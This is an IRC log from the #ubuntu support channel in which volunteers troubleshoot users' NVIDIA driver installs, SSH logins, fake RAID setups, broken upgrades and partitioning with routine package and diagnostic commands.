[04:26] <RoundyT1> Hey I was wondering where I could find some free catalogs for hardware purchasing as well as any free Linux catalogs....anyone know anything like that at all???
[04:26] <jrib> vince_: https://help.ubuntu.com/community/MX1000Mouse
[04:26] <slashjamiec> OMG GUYS I JUST GOT A LIFE. AND I EDITED IT
[04:26] <bruenig> Ax3, apt-file
[04:26] <r00tintheb0x> yes theharbalizer your kernel headers that the module was built for differ from those that you're running
[04:26] <Ax3> apt-file?
[04:26] <bruenig> !apt-file
[04:26] <jrib> slashjamiec: please stop
[04:26] <ubotu> apt-file is a program that can tell you which package(s) contain(s) a given filename. To install it and generate the database it needs, run "sudo apt-get install apt-file && sudo apt-file update"
[04:26] <r00tintheb0x> just boot back into the old kernel you were on when it was working.
[04:26] <vince_> jrib: that doesn't work
[04:26] <slashjamiec> jrib: ok :(
[04:26] <jrib> vince_: tell me why
[04:26] <PANDAeyes> HELLO
[04:26] <theharbalizer> r00tintheb0x: how do i fix that?
[04:27] <eylisian> epi: ide and sata are really different.
[04:27] <vince_> the problem is, i see 1,588,922 different guides on how to do it, all different, and none work
[04:27] <bruenig> Ax3, or you could have done "dpkg -L eggdrop" since you had it installed
[04:27] <r00tintheb0x> theharbalizer, has it ever worked?
[04:27] <theharbalizer> r00tintheb0x: it used to be that i could just reinstall the drivers and then restart gdm, but that's not working anymore.
[04:27] <RoundyT1> Hey I was wondering where I could find some free catalogs for hardware purchasing as well as any free Linux catalogs....anyone know anything like that at all???
[04:27] <hanasaki> how do i mount a samba share in nautilus?
[04:27] <jrib> vince_: did you try this one?  I wrote it, so I can help you if something isn't working...
[04:27] <PANDAeyes> If anyone wants to chat...
[04:27] <r00tintheb0x> theharbalizer, has it ever worked?
[04:27] <bruenig> !offtopic | PANDAeyes
[04:27] <ubotu> PANDAeyes: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[04:27] <theharbalizer> r00tintheb0x: yes
[04:27] <epi> Thanks for the tutorial dude, but I remember trying this one earlier, I think it would work, but the terminal coding got damn complicated very quickly.
[04:27] <slashjamiec> RounyT1: www.newegg.com generally have hardware catalogues online. They also supply some linux gear too
[04:28] <r00tintheb0x> theharbalizer paste me the contents of....
[04:28] <epi> Ill give it a shot
[04:28] <vince_> jrib: the buttons just don't work
[04:28] <InnerFIRE> where can i find a faster server to get feisty fawn
[04:28] <hanasaki> newegg is good
[04:28] <RoundyT1> PANDAeyes what's up? join #ubuntu-chat
[04:28] <theharbalizer> r00tintheb0x: ...of?
[04:28] <bruenig> InnerFIRE, pick a different mirror or hope on the torrent, I am sure the torrent is humming
[04:28] <bruenig> hop*
[04:28] <r00tintheb0x> /var/log/Xorg.0.log
[04:28] <jrib> vince_: run 'xev' in a terminal.  Do you get different button numbers for each button?
[04:28] <eylisian> epi: as i said, raid requires a bit of understanding and can sometimes be non-trivial.
[04:28] <vince_> i'm using feisty fawn though
[04:28] <RoundyT1> Hey I was wondering where I could find some free catalogs for hardware purchasing as well as any free Linux catalogs....anyone know anything like that at all???
[04:28] <Ax3> bruenig: hmmm ok i'll check out that command as well, thank you so much
[04:28] <slashjamiec> RoundyT1: www.newegg.com generally have hardware catalogues online. They also supply some linux gear too
[04:28] <epi> "Ubuntu (and Debian) doesn't have support for the SATA RAID (also called FakeRAID since some of the functionality is provided by software) controllers being shipped on recent motherboards"
[04:28] <bruenig> RoundyT1, no, nobody knows anything like that at all
[04:29] <eylisian> epi: this is sometimes true.
[04:29] <RoundyT1> lol --- are there any free catalogs to get in the mail?
[04:29] <theharbalizer> r00tintheb0x: working...
[04:29] <r00tintheb0x> ok
[04:29] <bruenig> RoundyT1, not exactly an economically smart move
[04:29] <jrib> vince_: that's ok, I am too.  The edgy instructions should work iirc
[04:29] <eylisian> epi: I have however built at least 15 boxes last year with sata software (fakeraid).
[04:29] <slashjamiec> RoundyT1: No, what do you expect? lol, you cannot just receive catalogues of a free open source operating system.
[04:29] <epi> eylisian...so you know alot about raid.
[04:29] <theharbalizer> r00tintheb0x: http://i69.photobucket.com/albums/i72/dissonance_ms/DSC00129.jpg
[04:29] <vince_> jrib: it looks like it, but i don't understand what i'm seeing
[04:30] <RoundyT1> no.
[04:30] <eylisian> epi: raid 1
[04:30] <RoundyT1> that's not what I meant.
[04:30] <RoundyT1> Like NEWS? anything like that/?!
[04:30] <theharbalizer> r00tintheb0x: not the entire log, but the relevant parts
[04:30] <bruenig> theharbalizer, that is some crazy resolution on that picture
[04:30] <eylisian> epi: thats 2 drives mirroring.
[04:30] <refi> RoundyT1: if you're looking for cheap computers, I bought a 2.66GHz dell from ebay a few months back for $76 -- it's been rock solid :)
[04:30] <epi> If I disable 2 western Digital 160gb, raid 1 ( i think, doubt its 0) from the Raid...how badly will it effect it?
[04:30] <bruenig> did you take it with some sort of panoramic close up camera
[04:30] <eylisian> epi: all I get to set up.
[04:30] <r00tintheb0x> looking theharbalizer one sec
[04:30] <acacianadept> I can't seem to change the volume or mute sounds on Ubuntu.  Whenever sounds play, they're too loud, and I don't have manual volume control on my speakers.  Can this be fixed?
[04:31] <theharbalizer> bruenig: running off a livecd right now on a crap pc, so i can't gimp it.
[04:31] <slashjamiec> refi: nice score!!!!
[04:31] <theharbalizer> bruenig: it
[04:31] <eylisian> but raid 1 w/ lvm rocks the house man.
[04:31] <jrib> vince_: you hit a mouse button in the square and then without moving your mouse you look at the output.  On the line that starts "ReleaseEvent" you look for "Button #" and see if the # is different for each button and you get one for each button
[04:31] <theharbalizer> bruenig: it's an ericsson k790a, btw... amazing for a phone
[04:31] <bruenig> how big is that monitor, gees
[04:31] <r00tintheb0x> theharbalizer, this happened after a kernel upgrade?
[04:31] <eylisian> epi: how many drives in the box. 2 or 4?
[04:31] <epi> Not if you desperately need a computer, and are not willing to learn basic coding to get an operating system to work.
[04:31] <epi> 2
[04:31] <theharbalizer> r00tintheb0x: no, this is a fresh install, i up-dated the kernel then tried to install drivers
[04:31] <theharbalizer> bruenig: it'
[04:32] <theharbalizer> bruenig: it's a 20" with a 24" beside it ^^
[04:32] <r00tintheb0x> ok so "reinstall>update>install nvidia drivers" right?
[04:32] <bruenig> I really should get a monitor so I don't look like I am homeless
[04:32] <eylisian> just unplug one drive if you are in a pinch and try the installer again.
[04:32] <r00tintheb0x> theharbalizer, what guide did you follow to install the drivers?
[04:32] <vince_> jrib: it looks like 1-14
[04:33] <bruenig> this thing which sticks out 3 feet in the back isn't very enticing
[04:33] <theharbalizer> r00tintheb0x: format > install 6.10 > update kernel > nvidia drivers from their .run file
[04:33] <epi> Yah, I unplugged the bottom one earlier on, does it matter the order?
[04:33] <r00tintheb0x> aah i see theharbalizer
[04:33] <theharbalizer> r00tintheb0x: theirs, "sudo sh nVidia*.run"
[04:33] <r00tintheb0x> ok
[04:33] <theharbalizer> yeah
[04:33] <eylisian> you can get the box going and come back to raid later.
[04:33] <RoundyT1> exit
[04:33] <epi> Because it wouldnt boot at all because of it.
[04:33] <eylisian> with one drive disabled?
[04:33] <epi> I havent tried unplugging the top one yet.
[04:33] <Ashfire908> "Status:    Error: Dependency is not satisfiable: libartsc0
[04:33] <epi> Yea.
[04:33] <jrib> vince_: ok, which buttons aren't working?
[04:34] <ThaNerd> Hello.. i have trouble setting up SSH server... i can login from localhost, but not from my windows machine under windows with putty... it doesn't recognize my password
[04:34] <bruenig> !info libartsc0
[04:34] <ubotu> libartsc0: aRts sound system C support library. In component main, is optional. Version 1.5.4-0ubuntu1 (edgy), package size 13 kB, installed size 68 kB
[04:34] <eylisian> look at the mainboard where the sata cables plug in.
[04:34] <r00tintheb0x> theharbalizer, you need to install the kernel-headers padckage for your running kernel
[04:34] <epi> Complained about "striped"
[04:34] <LadyNikon> ThaNerd: so you can connecto to it?
[04:34] <eylisian> one will most likeyt be sata 0 and the other sata1
[04:34] <r00tintheb0x> the headers version differs from the version of the kernel you're running
[04:34] <epi> kk
[04:34] <theharbalizer> r00tintheb0x: i believe i did... it'
[04:34] <Ashfire908> bruenig, where can i get it
[04:34] <eylisian> leave sata 0 in place.
[04:34] <ThaNerd> LadyNikon: apparently. it asks for the "login" then for the password...
[04:34] <theharbalizer> i hate this keyboard
[04:34] <eylisian> and unplug sata 1
[04:34] <r3factored> evening all. Can i use parted to resize my active partition? i tried unmounting in single-user mode.
[04:34] <eylisian> with the computer off.
[04:35] <bruenig> Ashfire908, the main repository, archive.ubuntu.com
[04:35] <eylisian> and you grounded.
[04:35] <LadyNikon> ThaNerd: and you are sure you are putting in the corrent password?
[04:35] <eylisian> not typing in irc right? =)
[04:35] <epi> Ok...
[04:35] <LadyNikon> ThaNerd: or spelling the username correctly
[04:35] <r00tintheb0x> theharbalizer, do a "aptitude search kernel-headers"
[04:35] <Ashfire908> r3factored, probely not.
[04:35] <epi> :)
[04:35] <r00tintheb0x> and look for the one with the "i" by it
[04:35] <theharbalizer> r00tintheb0x: i believe i did... it's 2.6.17-11 ... smp/generic, or whatever, for dualcore support
[04:35] <ThaNerd> LadyNikon: 100% certain... and putty is a well-known ssh client...
[04:35] <eylisian> heh, I can see it thopugh.
[04:35] <theharbalizer> r00tintheb0x: will do
[04:35] <LadyNikon> ThaNerd: yeah i use putty
[04:35] <r3factored> Ashfire908: argh thats what i thought
[04:35] <r00tintheb0x> then do a "uname -a" and compare it w/your kernel version
[04:35] <epi> And then just do standard install to the remaining drive.
[04:35] <eylisian> s/thoupugh/though
[04:35] <r00tintheb0x> waaaity
[04:35] <r00tintheb0x> SMP?
[04:35] <Ashfire908> r3factored, tried the software on the live cd?
[04:35] <ewdij> \disconnect
[04:35] <LadyNikon> ThaNerd: your not trying to connect as root right?
[04:36] <wastrel> putty is my favorite windows program
[04:36] <ThaNerd> LadyNikon: nope, only as my main login, in group admins
[04:36] <r00tintheb0x> yeah, a friend of mine said you cant use nvidias drivers w/a SMP kernel (i dont know how true that is but i remember having this same problem and the drivers worked under a non-smp kernel)
[04:36] <r3factored> Ashfire908: oh - good idea - boot to the live cd.
[04:36] <r00tintheb0x> theharbalizer,
[04:36] <theharbalizer> r00tintheb0x: i think so.
[04:36] <bruenig> r00tintheb0x, no smp kernel in a long time, at least not in the repos, if you want to compile it, I guess
[04:36] <LadyNikon> ThaNerd: hmm
[04:36] <Romexios> !pastebin
[04:36] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[04:36] <epi> Ok, Ill try this, if it does or doesnt work, ill be back, takes about 20 minutes for me to do this each damn time.
[04:36] <eylisian> epi: we'll get it.
[04:36] <r00tintheb0x> bruenig, the default kernel is SMP
[04:37] <ThaNerd> LadyNikon: it's a "out of the box" install... i didn't change anything in the config...
[04:37] <r00tintheb0x> Linux king-desktop 2.6.17-11-generic #2 SMP Thu Feb 1 19:52:28 UTC 2007 i686 GNU/Linux
[04:37] <theharbalizer> r00tintheb0x: hmm.   uname -a tells me it's #2 SMP
[04:37] <r3factored> Ashfire908: how probable is it that this is successfull? I hava an 80gb SATA drive and only half is being used. How will i know if I will screw my linux install :)
[04:37] <eylisian> I will hand man.
[04:37] <r00tintheb0x> yeah
[04:37] <jrib> vince_: for example, does side scroll work?
[04:37] <eylisian> s/hand/hang =)
[04:37] <LadyNikon> ThaNerd: usually you just start sshd.. and it should work
[04:37] <r00tintheb0x> give me a second to google theharbalizer
[04:37] <r00tintheb0x> brb
[04:37] <bruenig> hmm they stopped labeling it as such
[04:37] <LadyNikon> ThaNerd: should be able to use your normal username and password
[04:37] <wastrel> ThaNerd:  you're running openssh-server?
[04:37] <ThaNerd> LadyNikon: actually i use open... what wastrel said ;-)
[04:37] <LadyNikon> wastrel: would ThaNerd be able to connect to the box if he wasnt?
[04:38] <musya3d> im working with this tutorial http://www.howtoforge.com/perfect_setup_ubuntu_6.10_p4
[04:38] <r00tintheb0x> theharbalizer,
[04:38] <Ashfire908> um...
[04:38] <theharbalizer> r00tintheb0x: yeah, that's exactly what mine is.
[04:38] <r00tintheb0x> Right after you do a failed install check your syslog for a line that may look like this.
[04:38] <r00tintheb0x> kernel: nvidia: Unknown symbol __VMALLOC_RESERVE
[04:38] <Ashfire908> where is libartsc0
[04:38] <musya3d> thing is i have the desktop version of ubuntu and wanna know if that will make  a difference in the setup?
[04:38] <r00tintheb0x> If you see this, then you, like me, are just out of luck until Nvidia fixes their driver. Nvidia has a chat forum on their web site and I've been camping on it listening for news of a fix. Nvidia does know about the problem.
[04:38] <theharbalizer> r00tintheb0x: dmesg | tail   or how do i check syslog?
[04:38] <r00tintheb0x> check the install log
[04:38] <musya3d> NOTE this package wasnt found
[04:38] <musya3d> E: Package linux-kernel-headers has no installation candidate
[04:38] <theharbalizer> ... without X
[04:39] <theharbalizer> oh, the install log?
[04:39] <r00tintheb0x> yes
[04:39] <r00tintheb0x>  /path/to/where/you/ran/the/.sh/file/nvidiainstaller.log
[04:39] <Ashfire908> r3factored, idk
[04:39] <r00tintheb0x> ;)
[04:39] <ThaNerd> LadyNikon: any idea?
[04:39] <digi> is sendmail installed by default in ubuntu?
[04:39] <LadyNikon> ThaNerd: im thinking
[04:39] <theharbalizer> gotcdha
[04:39] <LadyNikon> !ssh
[04:39] <ubotu> SSH is the Secure SHell protocol. See https://help.ubuntu.com/community/SSHHowto for usage. Putty is a nice SSH client for Windows; it can be found at http://www.chiark.greenend.org.uk/~sgtatham/putty/
[04:39] <r3factored> Ashfire908: thanks for the info
[04:39] <LadyNikon> ThaNerd: gonna take a look at that
[04:40] <bruenig> musya3d, sudo apt-get install linux-headers-$(uname -r)
[04:40] <LadyNikon> ThaNerd: what version of ssh are you running btw?
[04:40] <digi> !sendmail
[04:40] <ubotu> sendmail: powerful, efficient, and scalable Mail Transport Agent. In component universe, is extra. Version 8.13.8-2 (edgy), package size 191 kB, installed size 248 kB
[04:40] <theharbalizer> r00tintheb0x:  =/ there is no log file in the folder.
[04:40] <eylisian> bruenig, that was tight. the headers one liner.
[04:40] <ThaNerd> LadyNikon: the latest... i did "sudo apt-get install ssh" about 3 hours ago
[04:40] <LadyNikon> ThaNerd: did you generate the keys?
[04:40] <r00tintheb0x>  /var/log/nvdia-installer.log
[04:41] <ThaNerd> LadyNikon: i didn't... apt-get did it
[04:41] <LadyNikon> or rather did it..
[04:41] <r00tintheb0x> theharbalizer, type this
[04:41] <Sephiroth> Okay, I'm having a little problem here.. I've tried editing the hosts file, but I can't seem how I can make a particular domain name that I have pointed to my box, resolve to localhost on my box, because I can't view any pages when I try to use the domain name.. and the applications I write depends on absolute linking, so therefore I don't know what to do.. Is there any way to get like.. irc.sephiroth.ws to resolve to localhost on th
[04:41] <Sephiroth> is box only?
[04:41] <musya3d> bruenig why is it that, and the tutorial not correspoding? are the headers in the server install different than the desktop ones?
[04:41] <LadyNikon> ThaNerd: ok so apt get.. generated keys and started the service
[04:41] <bruenig> musya3d, that isn't responding?
[04:41] <bruenig> what was the output?
[04:41] <musya3d> no it did
[04:41] <musya3d> i got it
[04:41] <ThaNerd> LadyNikon: yes
[04:41] <musya3d> but just wnated to know the difference
[04:41] <r00tintheb0x> one sec
[04:42] <theharbalizer> k
[04:42] <bruenig> musya3d, well linux-kernel-headers doesn't exist, linux-headers does, the uname -r is for your kernel so you don't have to find it or rely on some meta package
[04:42] <Sephiroth> hmm
[04:42] <r00tintheb0x> theharbalizer, "cat /var/log/nvdia-installer.log |grep VMALLOC"
[04:42] <Sephiroth> nevermind.
[04:43] <r00tintheb0x> if it cant find nvdia-installer.log
[04:43] <r00tintheb0x> do a "updatedb && locate nvdia-installer.log"
[04:43] <musya3d> oh,ok
[04:43] <Ashfire908> where can i get the .deb file for r3factored
[04:43] <Ashfire908> lol
[04:43] <Ashfire908> oops
[04:43] <Ashfire908> where can i get the .deb file for libartsc0
[04:43] <theharbalizer> r00tintheb0x: found it, but there's not "VMALLOC" in it anywhere
[04:43] <LadyNikon> ThaNerd: and you did user@host?
[04:44] <r00tintheb0x> okay
[04:44] <theharbalizer> r00tintheb0x: phew, right?
[04:44] <r00tintheb0x> lol
[04:44] <r00tintheb0x> i think its a SMP thing.
[04:44] <r00tintheb0x> trying installing a non-smp kernel
[04:44] <r00tintheb0x> and installing the drivers
[04:44] <r00tintheb0x> i bet it'll work.
[04:44] <bahamut931> Can someone tell me the terminal command for installing Kubuntu?
[04:44] <r00tintheb0x> any reason your didnt use Ubuntu's "nv" driver?
[04:45] <r00tintheb0x> Did you check if DRI was working theharbalizer ?
[04:45] <LadyNikon> bahamut931: why would you wanna do that :p
[04:45] <b00gz> Can I setup a ubuntu computer to act as a KVM for 8 PCs?
[04:45] <ThaNerd> LadyNikon: i don't know what you're talking but thus i'd say "no"...
[04:45] <Pelo> bahamut931, sudo apt-get install kubuntu-desktop
[04:45] <r00tintheb0x> bahamut931, "sudo aptitude install kubuntu-desktop"
[04:45] <theharbalizer> r00tintheb0x: i dont even know what dri is
[04:45] <bahamut931> ty all.
[04:45] <r00tintheb0x> direct rendering
[04:45] <r00tintheb0x> Linux3D
[04:45] <r00tintheb0x> do this
[04:45] <theharbalizer> r00tintheb0x: ,oh like glxgears?
[04:45] <r00tintheb0x> glxinfo |grep rend
[04:45] <r00tintheb0x> yes
[04:45] <r00tintheb0x> root@king-desktop:/etc/apache2# glxinfo |grep rend
[04:45] <r00tintheb0x> libGL warning: 3D driver claims to not support visual 0x5b
[04:45] <r00tintheb0x> direct rendering: Yes
[04:46] <theharbalizer> r00tintheb0x: i was playing WoW on it last night, so i know for a fact that it CAN work
[04:46] <r00tintheb0x> should come back yes or no
[04:46] <LadyNikon> ThaNerd: when you log into your system.. you do user@host.. meaning ThaNerd@127.0.0.1
[04:46] <r00tintheb0x> the same kernel theharbalizer ?
[04:46] <LadyNikon> when you are logging in
[04:46] <theharbalizer> r00tintheb0x: exact same setup
[04:46] <r00tintheb0x> theharbalizer, join #rootinthebox again
[04:46] <theharbalizer> r00tintheb0x: it just has a tendancy to die when i reboot
[04:46] <ThaNerd> LadyNikon: well, my config is : windows client (putty) on192.168.1.2 and server on ......3
[04:47] <LadyNikon> ThaNerd: right
[04:47] <lun_> hi, my upgrading from edgy to feisty just failed, leaving 800 files unable to be installed, Is there a way to clean all those things using some dpkg command and start again?
[04:47] <LadyNikon> ThaNerd: on the default page.. under Host Name or IP address do you do user@host.. or do you just type the host and let it ask you for the username.
[04:47] <ThaNerd> LadyNikon:the latter
[04:48] <lun_> I've tried dpkg --reconfigure -a but something is still wrong .
[04:48] <LadyNikon> ThaNerd: try the other way and see what happens
[04:48] <LadyNikon> ThaNerd: that should only ask you for the password
[04:48] <eylisian> lun_ sudo aptitude -f install
[04:48] <Sephiroth> Hi, How would I configure my Ubuntu installation to use a static IP address, instead of getting an IP address from the DHCP server on the network?
[04:48] <LadyNikon> Sephiroth: network settings > change it from dhcp to static
[04:49] <LadyNikon> Sephiroth: then enter in your information
[04:49] <ThaNerd> LadyNikon: yes, it does. then it tells me "access denied" but i typed the right password
[04:49] <LadyNikon> ThaNerd: caps lock on?
[04:49] <LadyNikon> Sephiroth: its under your admin tab
[04:49] <lun_> eylisian, thanks, trying
[04:49] <lun_> Processing was halted because there were too many errors.
[04:49] <ThaNerd> LadyNikon: no... and actually i can check because i just did "ssh 127.0.0.1" thru VNC on a "local" console
[04:50] <LadyNikon> ThaNerd: try changing your password and see if that takes.
[04:50] <eylisian> Lun_ it should try and install those 800 broken hangers on. Do you still have an X session?
[04:50] <lun_> sure
[04:50] <LadyNikon> ThaNerd: this isnt an install right? this is a working system.
[04:50] <Sephiroth> The configuration can not be loaded, you are not allowed to access the system configuration. However, I am the one that installed Ubuntu. :|
[04:50] <lun_> I'm in some kubuntu thing now I think
[04:50] <eylisian> nice.
[04:50] <Kevlar_Soul> my ubuntu is upgrading now
[04:50] <lun_> should I stop the X session and try the command?
[04:50] <LadyNikon> Sephiroth: when you click on the admin tab.. and then network.. it should prompt you for a password
[04:50] <eylisian> that would be X.
[04:51] <LadyNikon> Sephiroth: for sudo.
[04:51] <eylisian> lun_ naw.
[04:51] <Ashfire> anyone have a burned copy of BDI-4?
[04:51] <eylisian> lun_ konsole works great.
[04:51] <LadyNikon> Ashfire: i dont even know what that is sorry.
[04:51] <lun_> I think my dpkg is broken
[04:51] <lun_> or aptitude
[04:51] <lun_> is there a way to  reinstall these things?
[04:51] <eylisian> I am crying for you.
[04:51] <eylisian> sometimes.
[04:51] <ThaNerd> LadyNikon: i did. access denied.
[04:51] <LadyNikon> wow
[04:52] <LadyNikon> i would uninstall it and then reinstall maybe something got screwy
[04:52] <eylisian> can you strikr "alt + F2"
[04:52] <eylisian> and then gksudo synaptic
[04:52] <LadyNikon> ThaNerd: unless someone else knows something i dont. about ssh.
[04:52] <ThaNerd> LadyNikon: i'll try...
[04:52] <eylisian> and then "gksudo synaptic"
[04:52] <Ashfire> where can i get the .deb files for stuff
[04:52] <lun_> I got it, my gconf2 is broken
[04:53] <eylisian> see if synaptic can open and straighten things out.
[04:53] <LadyNikon> Sephiroth: any luck?
[04:53] <wastrel> ThaNerd:  are you sure you're connecting where you think you're connecting?
[04:53] <eylisian> but you are using kubuntu no?
[04:53] <Kevlar_Soul> my ubuntu is upgrading now to  feisty
[04:53] <sivik> i have a .odt file that will only open as read-only and i'm the owner, how do i make it not read only from cli?
[04:53] <Pelo> Kevlar_Soul,  beta ?
[04:53] <ThaNerd> wastrel: there's only 2 machines in my network...
[04:53] <comodo> can anyone tell me what the best  versian of ubuntu is
[04:54] <LadyNikon> comodo: latest?
[04:54] <LadyNikon> although i like 6.06
[04:54] <comodo> well i'm looking for somthing easy but unbloated
[04:54] <LadyNikon> 6.10 is laggy on my laptop
[04:54] <IcemanV9> lun_: does 'sudo aptitude -f install' work? if not, then try this 'sudo apt-get -f install'
[04:54] <wastrel> heh ok
[04:54] <Pelo> comodo,  latest is very stable and has a lot of nice little fixes
[04:54] <sivik> Lady, 6.06
[04:54] <LadyNikon> sivik: ?
[04:54] <sivik> LadyNikon, thats because gnome sucks, use something like xfce that takes less memory to run
[04:55] <eylisian> lun_, whats up w/ gconf2?
[04:55] <lun_> tried both, both complaining too many packets being processed has error
[04:55] <lun_> it's broken
[04:55] <LadyNikon> sivik: gnome get even more memory hoggist from 6.06 > 6.10?
[04:55] <eylisian> lun_ appears so.
[04:55] <lun_> and open office too. all broken
[04:55] <eylisian> oi.
[04:55] <LadyNikon> sivik: and fluxbox is my baby.. just not on my laptop heh
[04:55] <comodo> any of these come from http mirror torrents download slow on my system even with capped upload
[04:55] <sivik> LadyNikon, i don't use gnome som i'm not sure
[04:55] <Pelo> lun_,  just reinstall ubuntu
[04:55] <shnastybiznastic> entify bobfroma
[04:55] <IcemanV9> lun_: wow. okay. how about 'sudo aptitude dist-upgrade'?
[04:55] <eylisian> lun_ can you copy your home directory to another box?
[04:55] <lun_> then what about the original files?
[04:56] <eylisian> lun_ IcemanV9 has a valid point.
[04:56] <lun_> I mean all the datas, can I install the new ubuntu without formatting and using the same root partition?
[04:56] <eylisian> lun_ that would be a major pain.
[04:56] <shnastybiznastic> so, uh, I have a weird issue, and google isn't being kind to me.
[04:56] <Ashfire> yay
[04:56] <eylisian> but try the above suggestion.
[04:56] <sivik> not the same root partition, but if your smart, you only make the root big enough for the os and your home folder as its own partition
[04:57] <Ashfire> found the file
[04:57] <Pelo> I wonder if it can be done with windows
[04:57] <sivik> Pelo, i concur
[04:57] <Ashfire> bbiab
[04:57] <ThaNerd> LadyNikon: just did "apt-get remove ssh" then "autoremove" then "install ssh"... anything else?
[04:57] <lun_> hemm sudo aptitude dist-upgrade is working.. getting somefiles
[04:57] <eylisian> I know your package manager is broken but it's worth a shot.
[04:57] <lun_> still dpkg: too many errors, stopping
[04:57] <shnastybiznastic> usually, middle clicking on the maximize button only maximizes vertically, but it's not doing anything right now.
[04:57] <eylisian> right.
[04:57] <eylisian> =(
[04:57] <LadyNikon> ThaNerd: i just go into the synaptic to remove stuff heh
[04:57] <Sephiroth> Thanks LadyNikon.
[04:57] <Kevlar_Soul> ANYONE here upgrade to feisty already?  thoughts???
[04:57] <shnastybiznastic> but middle click works fine for opening a link in a tab in firefox
[04:57] <am_rod1> how do i open an application as a root user?
[04:57] <Pelo> sivik,  wouldn't it be great if that were part of the default install ?
[04:58] <shnastybiznastic> any ideas?
[04:58] <sivik> Pelo: that would make too much sense
[04:58] <eylisian> lun_ at this point, I myself would rsync my home dir and svn dir off the box and start over.
[04:58] <Kevlar_Soul> beta
[04:58] <sivik> am_rod1: run it from terminal/konsole with sudo in frount of the command name
[04:58] <IcemanV9> lun_: dang. looks like borked. i guess you'll need to back up /home dir, then reinstall (this time, create a /home partition)
[04:58] <eylisian> Fiesty isn't baked yet.
[04:58] <bcstv> Kevlar_soul: yes works great
[04:58] <comodo> well i found a http link for 6.10
[04:58] <lun_> sigh, that's a major pain here
[04:58] <comodo> is it hard to install nvidia drivers in 6.10?
[04:58] <ThaNerd> LadyNikon: my ubuntu has lesser than a week :-) i only installed freeftpd and LAMP
[04:58] <Kevlar_Soul> bcstv:  works better???
[04:59] <lun_> should 've waited for the official release
[04:59] <bcstv> I think so
[04:59] <Pelo> !nvidia | comodo
[04:59] <ubotu> comodo: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[04:59] <vince_> jrib: i think the problem is "evdev"
[04:59] <ubuntu_> hmmm...
[04:59] <eylisian> lun_ if you can keep your home dir you will have all your personal app tweaks. if you have heavy apache conf (or other app specific conf) changes get those too.
[04:59] <shnastybiznastic> comodo: I would imagine not, it was easy to install the ATI drivers, and they are typically the more difficult set to deal with
[04:59] <LadyNikon> ThaNerd: AH
[04:59] <LadyNikon> YA WELL
[04:59] <epi> Ok.
[04:59] <LadyNikon> im tapped out ThaNerd :(
[04:59] <epi> Anyone know what error 17 is?
[04:59] <ThaNerd> LadyNikon: still no luck after remove/reinstall
[05:00] <LadyNikon> if the reinstlal didnt work.. i dont know what else to do.
[05:00] <epi> I disabled the RAID from the bios.
[05:00] <eylisian> epi: grub error 17?
[05:00] <lun_> nah.. it's ok, I'll back up my /home dir and /opt dir.
[05:00] <LadyNikon> ThaNerd: lemme install it on my laptop and see what happens
[05:00] <epi> But it gives error 17 now at startup.
[05:00] <ThaNerd> LadyNikon: i had large problems with samba too...
[05:00] <epi> I assume so.
[05:00] <eylisian> epi, cool. but are both drives in place?
[05:00] <epi> Didnt say Grub though :s
[05:00] <eylisian> ah.
[05:00] <epi> Yah, I tried one then the other...
[05:00] <eylisian> i don't think grub installed.
[05:00] <hanasaki> samba is setup and working fine.. however the shares dont show in nautilus ... how can i get them to show up
[05:00] <epi> but it just totally failed to boot.
[05:00] <IcemanV9> lun_: well, there might be other one to try ... close down universe & multiverse repos; keep main & restricted enabled; then sudo aptitude dist-upgrade
[05:00] <ThaNerd> LadyNikon: i think i'll come back on sunday. it's 5am here... need sleep ;-)
[05:00] <eylisian> your raid is not made in hardware or software.
[05:01] <eylisian> you either need to make raid or unplug one drive. simple.
[05:01] <Pelo> lun_,  consider making a seperate partition for your home folder,  that way you can mess with the setup all you want and reinstall and get all your settings and data back with little trouble
[05:01] <epi> :|
[05:01] <am_rod1> how can i extract a rar archive located in a windows partition to a folder in the same partition?
[05:01] <lun_> ICeman, pelo, thanks
[05:01] <lun_> I'll try
[05:01] <eylisian> lun_ Pelo speaks wisdom.
[05:02] <SeveredCross> am_rod1: sudo apt-get install unrar
[05:02] <SeveredCross> Make sure your Windows partitions are writable...
[05:02] <IcemanV9> i think alternative cd will help you to create /home partition automatically, not desktop cd.  am i right?
[05:02] <SeveredCross> I believe that's right.
[05:02] <SeveredCross> The Desktop CD just creates / and swap.
[05:02] <wiseelben> In Python, do i need to import anything to use ceil() from the math module? The Python Reference states that "This module is always available." When I try to use ceil(), the interpreter returns an undefined function, even if i try to import math. I'm using version 2.4.4c1. Or maybe I didn't install everything I need?
[05:02] <bruenig> IcemanV9, you can do it with either, I think you still have to manually edit either way
[05:02] <epi> I dont really care about the data etc.
[05:02] <SeveredCross> Unless you create /home and /boot and /var and /tmp and stuff by hand.
[05:02] <SeveredCross> And then assign them mountpoints.
[05:02] <epi> Ive already cleared the entire computer to my knowledge
[05:02] <ThaNerd> LadyNikon: i think i'll come back on sunday. it's 5am here... need sleep ...
[05:03] <LadyNikon> ThaNerd: ok.. well im still gonna try
[05:03] <shnastybiznastic> if it's any help at all, middle clicking the maximize button seems to be sending windows to the bottom of the stack
[05:03] <epi> I just want to get this to work as quickly as possible :|
[05:03] <Pelo> lun_,  when you load up the live cd, go to  menu > system > adming > start gparted and make a 10 gig part ( can even be 5 ) for your install and format the rest to make your /home/ folder in
[05:03] <eylisian> epi: desktop box?
[05:03] <epi> And ive tried the disable a drive thing. Unplugged both, they still give errors. Re-install?
[05:03] <epi> Its a desktop.
[05:04] <bruenig> you can edit it in the installer, just go to manually edit partition table and then set the mount points, how hard is that
[05:04] <IcemanV9> bruenig: yeah. some newbies don't know how much to divide hd space into all those partitions. i think alternative cd does have it guided partitioning (including /home).
[05:04] <eylisian> epi: yes, on one drive.
[05:04] <eylisian> epi: you can learn to make the raid later and boot into it.
[05:04] <bruenig> IcemanV9, oh yeah it does have that guided partitioning, I never actually tried that. i thought it was just some sort of informational thing
[05:04] <lun_> pelo: see, I'll do that
[05:04] <flaccid> i have that bug where you type the command set and you get a shell script outputted. anyone know the fix?
[05:04] <epi> Install to sda0?
[05:05] <bruenig> flaccid, get that script that you called set out of the PATH
[05:05] <eylisian> epi: for now you need to reinstall on sata 0... heh =)
[05:05] <LadyNikon> ThaNerd: worked fine for me :S
